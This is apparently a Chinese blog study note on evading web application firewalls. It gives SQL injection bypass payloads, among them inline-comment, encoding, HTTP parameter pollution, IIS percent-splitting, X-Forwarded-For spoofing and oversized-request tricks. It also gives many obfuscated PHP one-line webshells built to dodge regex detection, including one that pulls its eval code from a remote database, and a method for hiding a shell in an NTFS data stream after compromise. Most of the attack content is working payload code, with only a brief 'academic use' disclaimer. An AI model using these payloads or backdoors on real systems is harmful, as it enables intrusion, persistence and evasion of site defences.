学习记录-WAF绕过

学习记录-WAF绕过

注:文章仅用于学术交流,不用于其它用途

一、WAF基础知识
概念:Web应用防护系统,执行一系列针对HTTP/HTTPS的安全策略为Web应用提供保护

分类:WAF有硬件类型的也有软件类型的,我们一般渗透测试都会遇到软WAF,因为硬件WAF价格有点昂贵,正常企业不会购买,基本上是大型国企才会买,常见的软WAF:安全狗、云锁、悬镜、护卫神、云盾

检测机制:其实很简单,核心就是正则匹配,虽然说还有字符串强行匹配,还有什么语义解析,但是实际上还是正则居多,安全和客户体验都是需要平衡的,特别是对于WAF而言,网页动不动就拦截,比如我是用户,然后因为我用户名叫and然后我就被拉黑了,因为我不小心输了个’页面就出问题,这个当然不可以,所以WAF一般都是通用的,并不是单独定制的,既然是通用的,那么他在拦截上会比较谨慎,所以WAF的正则一般是搭配式的,是一种组合

二、Bypass绕过WAF
Bypass:通过特殊语句的构建达到绕过WAF的手法
第一种:针对SQL的WAF绕过
1)大小写绕过 (很老的WAF才有用)
比如:and 1=1 ------ AnD 1=1

2)替换绕过 (很老的WAF才有用)
比如将关键字置空:sselectelect 1,2 ----- select 1,2

3)内联注释
内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/*!..*/中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别执行,/*!50001*/表示数据库版本>=5.00.01时中间的语句才能被执行
如:union select 1,2,3 被拦截
尝试: union /*!select*/1,2,3 进行绕过,如果还被拦截
尝试加入版本: union /*!50001 select*/ 1,2,3 进行绕过,如果还被拦截
尝试: burp暴力破解,修改50001参数,直接跑

4)特殊字符绕过 (%0a换行或反引号)
%0a:union select 1,2,3 ------ union – +/*%0a select 1,2,3 – +*/
反引号:union select 1,2,3 ----- union `select` 1,2,3

5)编码绕过
如:get传参内容用十六进制编码

6)等价替换
如:union select -------union all aselect
如:and 1=1----& 1=1 (注意是如果get传参需要将&编码才会被当作sql语句执行,不编码会被认为是传参)

7)容器特性
Apace的Hpp:id=1 /*& id=2 union select 1,2,3 --+*/ WAF认为/*…*/这个是注释的意思不会拦截,但是在Apace容器下同时出现多个参数就会去解析后面的参数,执行后面的id=2 union select 1,2,3语句,从而绕过WAF

IIS的%分割:union s%e%l%e%c%t 1,2,3------IIS解析为union select 1,2,3

8)白名单
若已获取管理员权限直接注入,有些WAF不对管理员拦截;在截取包伪造HTTP_X_FORWARDED_FOR修改ip为127.0.0.1本地访问,或者通过SSRF访问,有些WAF也不拦截

9)缓冲区
数据太多了,超出了WAF检测的范围,需要将数据包改为post传参的形式,检测数据字节的上限,需要单独(脚本等方式)去测,一般情况下安全狗的上限是4000字节,然后在后面加上我们sql注入语句就可以了(注意不是字节越多越好,多了会出现其它问题,一般4500-4600字节都是可以的)

第二种:针对木马(一句换木马)的WAF绕过

如果我们可以通过某种方法上传文件,我们可以写入木马上传,但是存在WAF就会对木马文件进行拦截,WAF多数情况下都是用正则匹配,一般情况下:php里面<?php eval($_REQUEST[1])?>是会被正则匹配拦截,我们通过构造不一样语句形式构造木马,这样的语句形式能绕过正则匹配,从而绕过WAF

1)end函数

// end()用法:输出数组中最后一个元素的值
php:<?php eval(end($_REQUEST));?> 

2)常量定义

// 定义一个常量
<?php define("a","$_REQUEST[1]");eval(a);

3)通过字符串拼接 + 双美元符号

// 通过拼接,这里的assert与eval都是任意代码执行
<?php 
    $a='ass';  
    $b='ert';
    $funcName=$a.$b;
    $x='funcName';
    $$x($_REQUEST[1]);

4)通过函数定义强行分割

// 定义一个函数,返回相同的内容
<?php
function a($a){
    
    
return $a;}
eval(a($_REQUEST)[1]);?>

5)通过类定义,然后传参强行分割

// __destruct()函数:魔术方法,对象销毁时自动调用函数
<?php 
class User
{
    
    
  public $name = '';
  function __destruct(){
    
    
    eval("$this->name");
  }
}
$user = new User;
$user->name = ''.$_REQUEST[1];//或者$user->name = '$_REQUEST[1]‘;
?>

6)多方式传参免杀

// 巧用cookie传入传参
<?php
    $COOKIE = $_COOKIE;
    foreach($COOKIE as $key => $value){
    
    
        if($key=='assert'){
    
    
            $key($_REQUEST[1];)
        }
    }
?>
// get_defined_functions()返回所以已定义的函数
<?php
$a=get_defined_functions();
$a['internal'][841]($_REQUEST[1]);

7)终极手法

// mysqli_fetch_assoc()获取第一行数据,我们可以在自己的数据库中写入木马在第一行写入eval($_REQUEST[1]);
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('ip','账号','密码','库'),'select * from 表'))['字段']); 

8)小技巧

// 拿到shell之后藏shell的妙招:ntfs文件流 (仅适合windows系统)
// 打开目标cmd,执行echo "<?php eval($_REQUEST[1])?>" >> /:123.txt  
<?php include('/:123.txt')?>

猜你喜欢

转载自blog.csdn.net/SmileAndFun/article/details/108704399